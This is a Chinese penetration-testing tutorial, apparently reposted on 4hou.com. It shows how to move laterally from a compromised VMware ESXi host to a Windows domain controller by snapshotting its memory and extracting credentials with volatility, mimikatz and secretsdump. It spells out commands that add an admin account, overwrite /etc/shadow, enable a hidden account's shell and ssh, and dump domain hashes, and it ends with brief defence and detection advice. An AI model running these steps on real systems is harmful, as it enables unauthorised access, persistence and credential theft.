【技术原创】渗透技巧——从VMware ESXI横向移动到Windows虚拟机 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

【技术原创】渗透技巧——从VMware ESXI横向移动到Windows虚拟机

3gstudent 技术 2022-09-21 11:45:00
177962
收藏

导语:假定以下测试环境:我们获得了内网VMware ESXI的控制权限,发现VMware ESXI上安装了Windows域控服务器。

0x00 前言

假定以下测试环境:我们获得了内网VMware ESXI的控制权限,发现VMware ESXI上安装了Windows域控服务器。

本文仅在技术研究的角度介绍从VMware ESXI横向移动到该Windows域控服务器的方法,结合利用思路,给出防御检测的方法。

0x02 简介

本文将要介绍以下内容:

· 利用思路

· 常用命令

· 实现方法

0x03 利用思路

通过VMware ESXI管理虚拟机,创建快照文件,从快照文件中提取出有价值的信息。

0x04 常用命令

1.查看虚拟机版本

vmware -vl

2.用户信息相关

(1)查看所有用户

esxcli system account list

(2)查看管理员用户

esxcli system permission list

(3)添加用户

esxcli system account add -i test1 -p Password@1 -c Password@1

(4)将普通用户添加成管理员用户

esxcli system permission set -i test1 -r Admin

(5)启用内置管理员账户

默认配置下,dcui是管理员用户,但是不允许远程登录,可以通过修改配置文件的方式设置dcui用户的口令并启用远程登录。

设置dcui用户口令为Ballot5Twist7upset,依次输入:

passwd dcui
Ballot5Twist7upset
Ballot5Twist7upset

一键设置dcui用户口令:sed -i 's/dcui:\*:13358:0:99999:7:::/dcui:$6$NaeURj2m.ZplDfbq$LdmyMwxQ7FKh3DS5V\/zhRQvRvfWzQMSS3wftFwaUsD9IZuxdns.0X.SPx.59bT.kmJOJ\/y3zenTmEcoxDVQsS\/:19160:0:99999:7:::/g' /etc/shadow

启用dcui用户远程登录:

修改文件/etc/passwd,将dcui:x:100:100:DCUI User:/:/sbin/nologin修改为dcui:x:100:100:DCUI User:/:/bin/sh

一键启用dcui用户远程登录:sed -i 's/dcui:x:100:100:DCUI User:\/:\/sbin\/nologin/dcui:x:100:100:DCUI User:\/:\/bin\/sh/g' /etc/passwd

开启ssh:

vim-cmd hostsvc/enable_ssh

3.虚拟机相关

(1)查看所有虚拟机

image.png

(2)查看指定虚拟机的状态

image.png

(3)开启指定虚拟机,可用于开机和从挂起状态恢复

image.png

(4)挂起指定虚拟机

image.png

(5)关闭指定虚拟机

image.png

(6)查看指定虚拟机的操作日志

image.png

4.虚拟机快照相关

(1)查看指定虚拟机的快照信息

image.png

(2)新建快照

image.png

示例1:

image.png

< includeMemory >设置为true,表示包括内存,否则无法生成.vmem文件。

示例2:

image.png

这个命令等价于vim-cmd vmsvc/snapshot.create 1 test "" false false,不包括内存,不会生成.vmem文件。

(3)删除快照

image.png

0x05 实现方法

1.获得虚拟机的vmid

image.png

测试环境下,从输出中获得虚拟机Windows域控服务器的vmid为1

2.查看虚拟机的快照信息

image.png

测试环境下没有虚拟机快照。

3.为虚拟机创建快照

image.png

测试环境下,从输出中获得虚拟机Windows域控服务器的snapshotIndex为1

4.使用volatility分析快照文件

volatility是一款开源的取证分析软件。

Python2版本的地址:https://github.com/volatilityfoundation/volatility

Python3版本的地址:https://github.com/volatilityfoundation/volatility3

volatility和volatility3的命令语法不同,功能基本相同,最新版本为volatility3,但这里选择volatility,理由如下:

· volatility有独立的可执行程序,volatility3需要自己编译

· volatility3有mimikatz插件,可以从lsass进程提取数据,volatility3不支持这个插件

(1)定位镜像文件

搜索后缀名为vmem的文件,命令如下:

image.png

测试环境下,获得镜像文件位置为./vmfs/volumes/62a735a8-ad916179-40dd-000c296a0829/DC1/DC1-Snapshot1.vmem

(2)上传volatility_2.6_lin64_standalone

volatility_2.6_lin64_standalone的下载地址:

http://downloads.volatilityfoundation.org/releases/2.6/volatility_2.6_lin64_standalone.zip

分析快照文件需要.vmem文件作为参数,而.vmem文件通常很大,为了提高效率,这里选择将volatility上传至VMware ESXI,在VMware ESXI上分析快照文件。

(3)查看镜像信息

通过镜像信息获得系统版本,命令如下:

image.png测试环境下,获得Profile为Win2016x64_14393

(4)从注册表获得本地用户hash

命令如下:

image.png

测试环境下,输出结果:

image.png

(5)从注册表读取LSA Secrets

命令如下:

image.png

测试环境下,输出结果:

image.png

(6)导出所有域用户hash

需要下载ntds.dit、SYSTEM文件和SECURITY文件。

定位ntds.dit文件,命令如下:

image.png

输出:

image.png

提取ntds.dit文件,命令如下:

image.png

依次再提取出SYSTEM文件和SECURITY文件,导出所有域用户hash可以使用secretsdump,命令为:secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

(7)加载mimikatz插件,读取lsass进程中保存的凭据

volatility_2.6_lin64_standalone不支持加载mimikatz插件,这里可以选择将整个快照文件(DC1-Snapshot1.vmem)下载至本地,搭建volatility环境,加载mimikatz插件。

kali安装volatility的方法:

1. 安装

image.png

2. 测试volatility

image.png

3. 添加mimikatz插件

下载地址:https://github.com/volatilityfoundation/community/blob/master/FrancescoPicasso/mimikatz.py

将mimikatz.py保存至

4.安装mimikatz插件的依赖

image.png

这里不能直接使用pip2 install construct,construct版本过高会导致在加载mimikatz.py时报错AttributeError: 'module' object has no attribute 'ULInt32'

5.测试插件

image.png

输出:

image.png

安装成功。

加载mimikatz插件的命令如下:

image.png

输出结果:

image.png

补充:

读取lsass进程中保存的凭据还可以使用以下方法:

1. 将镜像文件转成Crash Dump文件

image.png2. 使用Mimilib从dump文件中导出口令

详细方法可参考之前的文章《渗透技巧——使用Mimilib从dump文件中导出口令》

5.删除快照

image.png

0x06 防御检测

1. 防御

内网VMware ESXI及时更新补丁

关闭内网VMware ESXI的ssh登录功能

2. 检测

查看内网VMware ESXI登录日志

查看虚拟机快照镜像标志snapshotIndex是否异常,对于新的虚拟机,新建快照标志snapshotIndex从1开始累加,删除快照镜像不会影响snapshotIndex,例如删除snapshotIndex为1的快照,再次创建快照时snapshotIndex为2`

0x07 小结

本文在技术研究的角度介绍了从VMware ESXI横向移动到该Windows域控服务器的方法,使用volatility分析镜像文件,提取关键信息,结合利用思路,给出防御检测的方法。


本文为 3gstudent 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务